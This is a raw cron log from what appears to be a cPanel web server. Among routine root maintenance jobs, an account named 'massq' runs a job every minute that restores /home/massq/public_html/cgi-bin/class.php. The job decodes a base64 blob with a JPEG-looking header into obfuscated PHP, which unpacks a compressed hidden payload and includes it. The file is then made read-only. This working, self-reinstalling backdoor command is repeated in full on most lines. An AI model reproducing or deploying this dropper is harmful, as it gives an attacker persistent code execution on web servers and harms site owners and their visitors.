Nov 13 00:13:01 server CROND[18861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:14:01 server CROND[19786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:15:01 server CROND[20730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:15:01 server CROND[20732]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:15:01 server CROND[20733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:15:01 server CROND[20734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:15:01 server CROND[20731]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:16:01 server CROND[21838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:17:01 server CROND[22815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:18:01 server CROND[23795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:19:01 server CROND[24736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:20:01 server CROND[25602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 00:20:01 server CROND[25603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:20:01 server CROND[25604]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 00:20:01 server CROND[25607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:20:01 server CROND[25610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:21:01 server CROND[26592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:22:01 server CROND[27636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:23:01 server CROND[28557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:24:01 server CROND[29510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:25:01 server CROND[30458]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:25:01 server CROND[30459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:25:01 server CROND[30460]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:25:01 server CROND[30461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
